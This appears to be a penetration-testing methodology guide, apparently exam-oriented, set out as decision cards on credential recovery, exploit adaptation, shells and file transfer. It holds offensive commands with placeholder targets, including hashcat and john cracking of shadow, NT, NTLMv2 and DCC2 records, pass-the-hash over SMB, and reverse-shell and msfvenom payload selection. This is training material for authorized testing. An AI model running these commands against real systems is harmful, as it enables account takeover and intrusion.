A verified format and feasible candidate model enable offline recovery; a hash-shaped string alone does not.

Still check: Check complete salt/context, conversion correctness, tool backend and whether all required factors are present.

Illustrative output
Artifact format matches SUPPORTED_MODE
Candidate model: relevant words plus a justified suffix pattern
Validate prerequisites and compare methods

Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

hashcat --example-hashes
john --list=formats
Open numbered procedure and alternatives →

What did you find?

Enabled: The verifier and candidate space are valid: use the selected offline strategy and verify recovered credentials.

Ruled out here: The artifact is a non-crackable token or unsupported format under this workflow: reject that mode.

Unresolved: Parsing errors or an incomplete source require input repair; no recovery only exhausts the tested candidates.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Inspect and recover SSH private-key access — A private key from a file read, share, repository or home directory
Requires: Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Recover a protected KeePass database passwordNot inspectedA readable KeePass database and possible associated key file

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

file FILE
keepass2john FILE > keepass.hash

Read the result

A supported database gives a recovery target, but a referenced key file indicates a separate factor.

Still check: Confirm vault version, required key/account factors and a feasible password search.

Illustrative output
FILE: Keepass password database
Converter: supported verifier produced
Possible additional key file: KEY_FILE
Validate prerequisites and compare methods

Complete database, compatible converter, and every required factor; a feasible password candidate strategy

file FILE
keepass2john FILE > keepass.hash
Open numbered procedure and alternatives →

What did you find?

Enabled: All required factors are available and the recovered password opens the vault: inspect its typed credentials.

Ruled out here: An unavailable mandatory key factor prevents this password-only route.

Unresolved: A converter result alone does not identify every required factor; inspect relevant vault configuration.

Show connections

These are conditional possibilities. Check the named condition before moving.

Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Inspect source, backups, configuration and repository artifacts — JavaScript endpoints, backup names, exposed configuration or Git metadata
Requires: Readable application artifact or a complete recoverable repository; preserve the public-source scope

Inspect and recover SSH private-key accessNot inspectedA private key from a file read, share, repository or home directory

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

file KEY
ssh-keygen -y -f KEY

Read the result

The artifact is a private key protected by a local passphrase; this is separate from the SSH account password.

Still check: Determine the protecting passphrase, associated remote user, accepted algorithm and server key authorization.

Illustrative output
KEY: OpenSSH private key
Enter passphrase for KEY:
Validate prerequisites and compare methods

Correct key format, passphrase if encrypted, matching server account/key authorization and accepted algorithm/policy

chmod 600 KEY
ssh-keygen -y -f KEY
Open numbered procedure and alternatives →

What did you find?

Enabled: The key parses and the correct server account accepts it: use its permitted shell/subsystem/forwarding capability.

Ruled out here: The artifact contains only a public key: reject private-key authentication with that file.

Unresolved: A decrypted key rejected by the server leaves username/authorization/policy unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Forward a selected service through an SSH client-side listener — SSH reaches a server that can access the needed internal service
Requires: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover Linux account passwords from matched recordsNot inspectedReadable password verifiers and account metadata

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

file passwd.txt shadow.txt
head -n 3 passwd.txt
head -n 3 shadow.txt

Read the result

The matching account name and verifier prefix identify an offline password-recovery candidate.

Still check: Confirm snapshots, hash format and account state; a locked field or absent salt is not a normal usable verifier.

Illustrative output
passwd: USER:x:USER_ID:GROUP_ID:...:/home/USER:/bin/bash
shadow: USER:$ALGORITHM$SALT$VERIFIER:...
Validate prerequisites and compare methods

Correct passwd/shadow pairing or known hash format; account identity and a feasible recovery strategy

unshadow passwd.txt shadow.txt > linux.hashes
john --wordlist=WORDLIST linux.hashes
Open numbered procedure and alternatives →

What did you find?

Enabled: A complete supported verifier and feasible candidate space exist: recover, then validate the matching account.

Ruled out here: The password field is locked with no usable verifier: reject recovery from that field.

Unresolved: Mismatched backups or unknown account scope require source consistency checks.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Recover or reuse an NT password hashNot inspectedAn NT verifier from an appropriate credential source

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

head -n 3 hashes.txt

Read the result

The source and record fields identify an NT verifier for that local account, not a captured challenge response.

Still check: Verify the actual NT field, account scope and an accepting service/client with the required destination right.

Illustrative output
USER:RID:LM_HASH:NT_HASH:::
Source: matched local registry extraction
Validate prerequisites and compare methods

Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights

hashcat -m 1000 hashes.txt WORDLIST
nxc smb TARGET -d DOMAIN -u USER -H HASH
Open numbered procedure and alternatives →

What did you find?

Enabled: A compatible service accepts the correctly qualified hash identity: use only its verified authorization.

Ruled out here: The source produced Net-NTLMv2 or DCC2 instead: reject direct NT-hash reuse.

Unresolved: An unlabeled hexadecimal value remains unknown until the source/account is resolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Execute through uploaded service creation using PsExec — A destination grants administrative-share write and service-control rights
Requires: SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context

Recover a password from a captured NTLM responseNot inspectedA complete challenge-response record

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

head -n 2 responses.txt

Read the result

A challenge-bound response supports its appropriate offline verification workflow; it is not the long-term NT hash.

Still check: Check complete capture format, account mapping and feasible candidates; acquisition/relay policy is a separate issue.

Illustrative output
USER::DOMAIN:SERVER_CHALLENGE:NT_PROOF:BLOB
Validate prerequisites and compare methods

Correct challenge/response formatting and feasible candidates; acquisition method must fit the allowed context

hashcat -m 5600 responses.txt WORDLIST
Open numbered procedure and alternatives →

What did you find?

Enabled: A complete supported record permits offline recovery and later password validation.

Ruled out here: Using this response directly as an NT hash is the wrong mechanism: reject that authentication attempt.

Unresolved: Truncated challenge/blob fields cannot support a valid recovery conclusion.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Recover a password from cached domain logon verifiersNot inspectedA DCC2/MSCache record from matched SECURITY/SYSTEM material

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

head -n 3 dcc2.txt

Read the result

The DCC2 structure and username-associated derivation identify offline cached-logon material.

Still check: Verify iteration/username context, source consistency and current online account state after any recovery.

Illustrative output
$DCC2$ITERATIONS#USER#VERIFIER
Validate prerequisites and compare methods

Correct username/salt/iteration context and feasible offline candidates

hashcat -m 2100 dcc2.txt WORDLIST
Open numbered procedure and alternatives →

What did you find?

Enabled: A complete supported record and feasible candidates enable the DCC2 recovery workflow.

Ruled out here: DCC2 is not accepted directly as an NTLM long-term hash: reject that reuse route.

Unresolved: A recovered old password may be stale; validate current account acceptance without assuming extraction failed.

Show connections

These are conditional possibilities. Check the named condition before moving.

Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

Establish domain identity, DC, DNS, time and route — Domain credentials or a domain-joined foothold
Requires: Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

Classify tickets and use a compatible cacheNot inspectedA ccache/kirbi file or an existing ticket cache

Starting access: A credential artifact with a recorded source and possible account context

Discover the clue

klist -c FILE

Read the result

This is service-scoped CIFS material, not a TGT for requesting arbitrary services.

Still check: Check lifetime, cache format, exact SPN/name, route and destination object authorization.

Illustrative output
Default principal: USER@REALM
Service principal: cifs/TARGET_HOST@REALM
No krbtgt ticket listed
Validate prerequisites and compare methods

Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route

klist -c FILE
Open numbered procedure and alternatives →

What did you find?

Enabled: The matching SMB service accepts the ticket and allowed operation: use that scoped capability.

Ruled out here: A CIFS-only ticket does not enable a WinRM-specific authentication path.

Unresolved: An unreadable/expired cache or unknown principal requires inspection/conversion rather than guessed reuse.

Show connections

These are conditional possibilities. Check the named condition before moving.

Inventory, convert and import tickets in the correct logon context — A valid ticket/cache or a long-term key that can request a TGT
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization

Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Select and adapt public exploits

Match a public exploit to the actual component and configurationNot inspectedA product/version clue, advisory or component-specific public PoC

Starting access: An identified component/build and a candidate exploit with reviewable source

Discover the clue

searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID

Read the result

The exact feature/role/build conditions identify what must be checked; a product-name hit does not establish applicability.

Still check: Resolve every required condition and define the smallest observable proof of the expected effect.

Illustrative output
Candidate requires: FEATURE enabled, authenticated ROLE, affected BUILD
Observed deployment: FEATURE state not yet known
Validate prerequisites and compare methods

Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

searchsploit PRODUCT VERSION
searchsploit -x EXPLOIT_ID
Open numbered procedure and alternatives →

What did you find?

Enabled: Build, feature and access conditions match: review and test the candidate's bounded effect.

Ruled out here: The required feature is disabled or the build is patched: reject that candidate.

Unresolved: A generic banner cannot resolve patch/feature state; gather deployment evidence first.

Show connections

These are conditional possibilities. Check the named condition before moving.

Audit a PoC and reproduce its interpreter/dependency environment — A plausible exploit fails before reaching the target or has unreviewed side effects
Requires: Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Map functions, roles and normal requests manually — Forms, downloads, exports, account functions or role-specific interfaces
Requires: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

Use a framework module with explicit target and feature constraints — A reviewed module fits a verified exploit prerequisite set
Requires: Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions

Audit a PoC and reproduce its interpreter/dependency environmentNot inspectedA plausible exploit fails before reaching the target or has unreviewed side effects

Starting access: An identified component/build and a candidate exploit with reviewable source

Discover the clue

file exploit.py
python3 --version
python3 -m pip --version

Read the result

The failure occurred locally before the vulnerable request; it says nothing about target patch state.

Still check: Review side effects, reproduce supported dependencies/interpreter and observe the real request before judging exploitation.

Illustrative output
Traceback: ModuleNotFoundError: REQUIRED_MODULE
No target request observed
Validate prerequisites and compare methods

Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

file exploit.py
python3 --version
python3 -m venv .venv
. .venv/bin/activate
Open numbered procedure and alternatives →

What did you find?

Enabled: A controlled environment runs the reviewed request: proceed to prerequisite/effect testing.

Ruled out here: The script's assumptions target a different runtime/protocol and cannot match this candidate: reject it.

Unresolved: An import error leaves target behavior unknown; isolate the environment and repair the documented dependency.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair a web PoC using the real HTTP transaction — An exploit sends requests but authentication, routing or parsing differs from the target
Requires: A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Compile and minimally adapt an existing native or memory-corruption PoCNot inspectedAn existing C/C++ or platform-specific PoC matches the candidate

Starting access: An identified component/build and a candidate exploit with reviewable source

Discover the clue

file COMPILED_ARTIFACT
uname -m
getconf LONG_BIT

Read the result

An architecture/ABI mismatch explains a compatibility problem before exploit logic is evaluated.

Still check: Confirm target process rather than just OS architecture, required libraries/loader and documented exploit-specific constraints.

Illustrative output
Artifact: ELF 64-bit x86-64
PoC prerequisite: 32-bit target process
Validate prerequisites and compare methods

Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

file exploit.c
uname -m
file COMPILED_ARTIFACT
Open numbered procedure and alternatives →

What did you find?

Enabled: A compatible reviewed artifact and exact target conditions exist: test its bounded effect.

Ruled out here: The target's architecture/mitigation assumptions do not match: reject that PoC route.

Unresolved: Compiler success alone leaves loader and exploit applicability unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Repair a web PoC using the real HTTP transactionNot inspectedAn exploit sends requests but authentication, routing or parsing differs from the target

Starting access: An identified component/build and a candidate exploit with reviewable source

Discover the clue

curl -sk -i -b cookies.txt http://TARGET:PORT/PATH

Read the result

The request never reached the protected operation; the success parser may be reading a login response.

Still check: Restore valid host/path/session/CSRF state, then independently verify the exploit effect.

Illustrative output
PoC response: HTTP/1.1 302 Found
Location: /login
Actual browser request includes a fresh CSRF token
Validate prerequisites and compare methods

A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

curl -sk -i -b cookies.txt http://TARGET:PORT/PATH
Open numbered procedure and alternatives →

What did you find?

Enabled: The reconstructed request reaches the intended operation and the effect is observed: continue that candidate.

Ruled out here: The real operation/schema is incompatible with the PoC's vulnerable feature: reject it.

Unresolved: A normal HTTP response without authenticated operation evidence leaves exploitation inconclusive.

Show connections

These are conditional possibilities. Check the named condition before moving.

Prove visible or blind operating-system command injection — An input appears in a command-like operation or causes shell-dependent behavior
Requires: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Repair quoting, encoding and command-length boundaries — A simple command works while a longer or nested payload fails
Requires: Known outer request/template/database parser and inner shell; correct character encoding and transport length

Establish sessions and move files

Verify command execution, host and represented identityNot inspectedA PoC, injected command or remote client reports execution

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

hostname
id
pwd

Read the result

Host-specific identity output demonstrates execution under that account, not yet a reverse connection or full terminal.

Still check: Record OS, privilege and network position; choose an access form whose interpreter/service and route exist.

Illustrative output
hostname: TARGET_HOST
uid=USER_ID(APP_USER) gid=GROUP_ID(APP_GROUP)
working directory: /APP_PATH
Validate prerequisites and compare methods

A functioning execution primitive and an observable output or controlled side effect

hostname
id
pwd
ip addr
ip route
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended target's command proof is reproducible: use the confirmed foothold as the starting state.

Ruled out here: The tool's success message has no command-specific effect and the operation is rejected: discard its execution claim.

Unresolved: A hung request with no observable effect leaves execution unknown; obtain a bounded independent observation.

Show connections

These are conditional possibilities. Check the named condition before moving.

Connect a Linux reverse shell through an available interpreter — Linux command execution exists but an interactive channel is needed
Requires: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Connect a Linux reverse shell through an available interpreterNot inspectedLinux command execution exists but an interactive channel is needed

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

command -v bash python3 php nc
ip route get LHOST

Read the result

An interpreter plus a plausible outbound route suggests a reverse-channel candidate.

Still check: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.

Illustrative output
/usr/bin/bash
/usr/bin/python3
LHOST via GATEWAY dev INTERFACE
Validate prerequisites and compare methods

A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

command -v bash python3 php nc
ip route get LHOST
Open numbered procedure and alternatives →

What did you find?

Enabled: The minimal connection works and the shell/handler matches: select that reverse channel.

Ruled out here: The chosen interpreter is absent: reject that interpreter's payload, retaining other available methods.

Unresolved: A route entry without packet/connection evidence leaves egress filtering unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Diagnose connection direction, listener and session failures in order — Command execution or payload delivery exists but the expected usable channel does not
Requires: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use a bind shell when the target can accept inbound connections — Reverse egress is unavailable but a target listener is reachable
Requires: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Use Windows authenticated access or a PowerShell command channelNot inspectedWindows execution or valid credentials with an available remote service

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Read the result

The execution identity and constrained language context affect which command-channel implementations can run.

Still check: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.

Illustrative output
User: DOMAIN\APP_USER
PSVersion: AVAILABLE_VERSION
LanguageMode: ConstrainedLanguage
Validate prerequisites and compare methods

Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

hostname
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Open numbered procedure and alternatives →

What did you find?

Enabled: A supported native endpoint or verified compatible command channel works: use it and verify its token.

Ruled out here: The chosen .NET-heavy implementation is blocked by this language mode: discard that implementation.

Unresolved: Unknown policy/AMSI/endpoint behavior requires identifying the first failing layer.

Show connections

These are conditional possibilities. Check the named condition before moving.

Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context

Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context

Distinguish PowerShell policy, language mode and protected execution layers — PowerShell reports scripts disabled, constrained syntax or an execution-control error
Requires: Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Use a bind shell when the target can accept inbound connectionsNot inspectedReverse egress is unavailable but a target listener is reachable

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

nc -h
ss -lnt

Read the result

The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.

Still check: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.

Illustrative output
Netcat help: no -e option
Selected listen port: not currently bound
Validate prerequisites and compare methods

Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

nc -h
ss -lnt
Open numbered procedure and alternatives →

What did you find?

Enabled: The selected implementation binds and the source reaches it: use the verified inbound channel.

Ruled out here: The required inbound connection is filtered and no permitted forward exists: reject this bind route.

Unresolved: A local listen socket alone leaves remote firewall/access unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Repair a limited Linux terminal — A working shell lacks job control, terminal signals or interactive program support
Requires: A working channel and available PTY mechanism; correct local-terminal control sequence

Relay a single TCP service through a fixed forward — One reachable pivot can connect to one internal TCP destination
Requires: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Generate a payload matching OS, process, format and handlerNot inspectedAn existing exploit/delivery primitive needs a binary or raw payload

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

file TARGET_ARTIFACT
msfvenom -l payloads
msfvenom --list formats

Read the result

The staged payload name and executable consumer must be matched to the handler and delivery format.

Still check: Check target/process architecture, permitted feature, exact payload options, stage route and listener.

Illustrative output
Consumer: Windows x64 executable
Candidate payload: windows/x64/shell/reverse_tcp
Delivery expects: PE executable
Validate prerequisites and compare methods

Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

msfvenom -l payloads
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
Open numbered procedure and alternatives →

What did you find?

Enabled: Format/architecture/handler and routes all match: generate the selected artifact.

Ruled out here: An ELF or DLL is supplied to an EXE-only consumer: reject that format.

Unresolved: OS architecture without process/delivery evidence does not settle payload compatibility.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Pair staged payloads with the correct handler and session lifecycle — A payload connects without a session, or a handler/session exits unexpectedly
Requires: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

Verify command execution, host and represented identity — A PoC, injected command or remote client reports execution
Requires: A functioning execution primitive and an observable output or controlled side effect

Repair a limited Linux terminalNot inspectedA working shell lacks job control, terminal signals or interactive program support

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

tty
command -v python3 script socat

Read the result

A functioning socket shell lacks a controlling terminal while a potential PTY mechanism exists.

Still check: Verify the available PTY mode, local terminal handling and stable connection; privilege remains unchanged.

Illustrative output
not a tty
/usr/bin/python3
Validate prerequisites and compare methods

A working channel and available PTY mechanism; correct local-terminal control sequence

tty
command -v python3 script socat
Open numbered procedure and alternatives →

What did you find?

Enabled: The supported PTY and local settings restore terminal behavior: use interactive tools in that same identity.

Ruled out here: The channel drops before any command executes: reject terminal settings as the first fault.

Unresolved: No PTY utility found leaves alternative terminal methods/noninteractive use to investigate.

Show connections

These are conditional possibilities. Check the named condition before moving.

Use an allowed sudo operation to cross a privilege boundary — sudo -l grants an operation under a more useful identity
Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Establish Linux state and choose an escalation candidate — A new Linux foothold or an identity/privilege change
Requires: A working command channel and accurate effective identity, group, mount and process context

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Transfer over HTTP using Linux or Windows clientsNot inspectedA tool/artifact must reach a target that can make an HTTP request

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

command -v curl wget
ls -ld /tmp
ip route get LHOST

Read the result

A downloader, destination and plausible outbound path enable an HTTP transfer candidate.

Still check: Check actual server bind/directory, HTTP request/response and source/destination hashes.

Illustrative output
/usr/bin/curl
/tmp: writable to current user
LHOST via GATEWAY dev INTERFACE
Validate prerequisites and compare methods

Correct server bind and served directory; target-to-server route, available downloader and writable destination

python3 -m http.server 8000 --bind LHOST --directory /PATH/TO/FILES
Open numbered procedure and alternatives →

What did you find?

Enabled: The requested file is retrieved and its bytes match: use the verified copy.

Ruled out here: No permitted target-to-server route exists: reject this HTTP pull direction.

Unresolved: A route without a logged request leaves bind/firewall/DNS unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Use enumeration tools to generate manually testable candidates — A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths
Requires: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Move Windows files through an authenticated SMB share — A Windows source can reach a temporary assessment-side SMB service
Requires: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

Stream a file over a direct TCP connection — Only a raw TCP tool and a direct or forwarded connection are available
Requires: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

Move a small artifact through a text-only channel — The existing command channel permits text but no convenient file-transfer connection
Requires: Available Base64 encode/decode, adequate command length and a writable destination

Use a temporary FTP transfer as a constrained fallback — The target has an FTP client and simpler transfer routes are unavailable
Requires: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

Copy files through an authenticated SSH serviceNot inspectedAn SSH identity can access the needed source/destination

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

ssh -v -p PORT USER@TARGET

Read the result

SSH authentication gives a candidate transport; it does not prove SFTP/subsystem support or destination write.

Still check: Validate client/server subsystem compatibility, source read and destination write; inspect resulting bytes.

Illustrative output
Authenticated using publickey
Session/subsystem policy: inspect before transfer
Validate prerequisites and compare methods

Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

ssh -p PORT -i KEY USER@TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The supported copy mode writes the intended file and hashes match: use SCP.

Ruled out here: The destination is unwritable: reject that path while retaining SCP to a permitted directory.

Unresolved: Accepted SSH without subsystem evidence leaves transfer behavior unknown.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Use SSH passwords, keys and forwarding-capable access — An SSH service and a known password, private key or agent context
Requires: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

Move Windows files through an authenticated SMB shareNot inspectedA Windows source can reach a temporary assessment-side SMB service

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

Test-NetConnection LHOST -Port 445
net use

Read the result

The service is reachable, but an existing connection can constrain a different credential context.

Still check: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.

Illustrative output
TcpTestSucceeded : True
Existing connection: \\LHOST\OTHER_SHARE as OTHER_USER
Validate prerequisites and compare methods

Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

Test-NetConnection LHOST -Port 445
Open numbered procedure and alternatives →

What did you find?

Enabled: The intended authenticated share action succeeds and bytes match: use this transfer route.

Ruled out here: Outbound SMB is blocked from this source: reject this direction, choosing another transport.

Unresolved: Transport alone does not settle cached-session identity or object rights.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Turn automated Windows findings into manually verified candidates — A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Stream a file over a direct TCP connectionNot inspectedOnly a raw TCP tool and a direct or forwarded connection are available

Starting access: Verified command execution or authenticated remote access and a known network path

Discover the clue

nc -h
ls -ld /DESTINATION_DIRECTORY

Read the result

A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.

Still check: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.

Illustrative output
Available client: Netcat implementation
Direction: sender -> receiver listener
Destination: writable
Validate prerequisites and compare methods

Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

nc -h
ip route get TARGET
Open numbered procedure and alternatives →

What did you find?

Enabled: The chosen stream finishes with matching bytes: use the saved artifact.

Ruled out here: The only available direction cannot reach the receiver: reject this stream route.

Unresolved: A connection with unknown termination/file size leaves transfer completeness unresolved.

Show connections

These are conditional possibilities. Check the named condition before moving.

Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

Transfer over HTTP using Linux or Windows clients — A tool/artifact must reach a target that can make an HTTP request
Requires: Correct server bind and served directory; target-to-server route, available downloader and writable destination

